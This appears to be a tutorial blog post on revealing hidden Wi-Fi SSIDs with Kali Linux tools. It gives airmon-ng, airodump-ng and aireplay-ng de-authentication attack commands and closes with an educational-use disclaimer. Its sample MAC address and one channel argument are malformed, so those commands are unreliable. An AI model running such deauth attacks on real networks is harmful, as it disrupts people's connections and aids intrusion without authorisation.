Ethical Hacking with Kali Linux-Finding Hidden SSIDS


# Process

– Enabling Wireless Monitoring : airmon-ng

– Discovering the APs (Access Points) : airodump-ng

– Stay calm for Association or use de-authentication : aireplay-ng

 

# . . . Let’s Begin

– Before start, make sure that you have eth0, lo, wlan0 are in action. (go to terminal and run ifconfig)

– Let’s start to monitor on that wireless interface, run:

airmon-ng start wlan0

– After executing above command, we must get a new interface mon0 (monitor mode enabled)

– Verify that both interfaces are up and running, run:

airmon-ng

– Watch for wlan0 and mon0, run:

airodump-ng mon0

– For monitoring all the APs that Kali Linux OS can find out.

– From next step, note BSSID and ESSID, if there is any hidden SSID, then ESSID will be format like this : <length: 0> [Notice, it’s CH (Channel) and BSSID]

– CTRL+C (press)

airodump-ng -c 1 mon0
(Here, 1 is channel we notice/you notice. This value may differ.)

– After some time, you will notice <length: 0> changes and reveals SSID name.

– If it takes lot of time to reveal SSID, we can follow de-authenticate process by cloning next terminal in Kali Linux.

– Copy BSSID (MAC) of ch 1

 

#Deauth Attack:

aireplay-ng -0 2 -a 00:A1:B2:11:20:13:5T mon0

– It sends de-auth to broadcast

airodump-ng -c i mon0

– Wait

– Go over to new Terminal

aireplay-ng -0 2 -a 00:A1:B2:11:20:13:5T mon0

– Finally you will get SSID in ESSID section.

 

A quick note: This series is only for educational purpose. Practice this series in a lab, in a virtual/separate network and always avoid illegal activities.
